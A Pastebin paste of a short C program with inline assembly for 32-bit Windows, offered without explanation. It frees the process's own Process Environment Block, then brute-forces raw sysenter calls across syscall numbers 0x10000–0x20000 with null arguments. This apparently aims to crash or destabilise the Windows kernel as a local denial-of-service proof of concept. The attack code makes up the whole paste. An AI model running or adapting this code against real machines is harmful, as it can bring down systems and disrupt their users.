Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #define sysenter __asm _emit 0x0F __asm _emit 0x34
- void freePEB()
- {
- HANDLE hProc = GetCurrentProcess();
- PVOID PEBaddr;
- __asm {
- mov eax , DWORD ptr FS:[0x30]
- mov DWORD ptr [PEBaddr] , eax
- }
- VirtualFreeEx(hProc, PEBaddr, 0, MEM_DECOMMIT);
- }
- int main()
- {
- DWORD i;
- freePEB();
- // magic syscall is not the same on all windows version ...
- for (i = 0x10000; i < 0x20000; i++)
- __asm{
- // null timeouts, avoid hangs
- push 0
- push 0
- push 0
- push 0
- push 0
- push ret_sysenter
- mov edx, esp
- mov eax, dword ptr [i]
- sysenter
- ret_sysenter:
- add esp, 5*4
- }
- return 0;
- }
Add Comment
Please, Sign In to add comment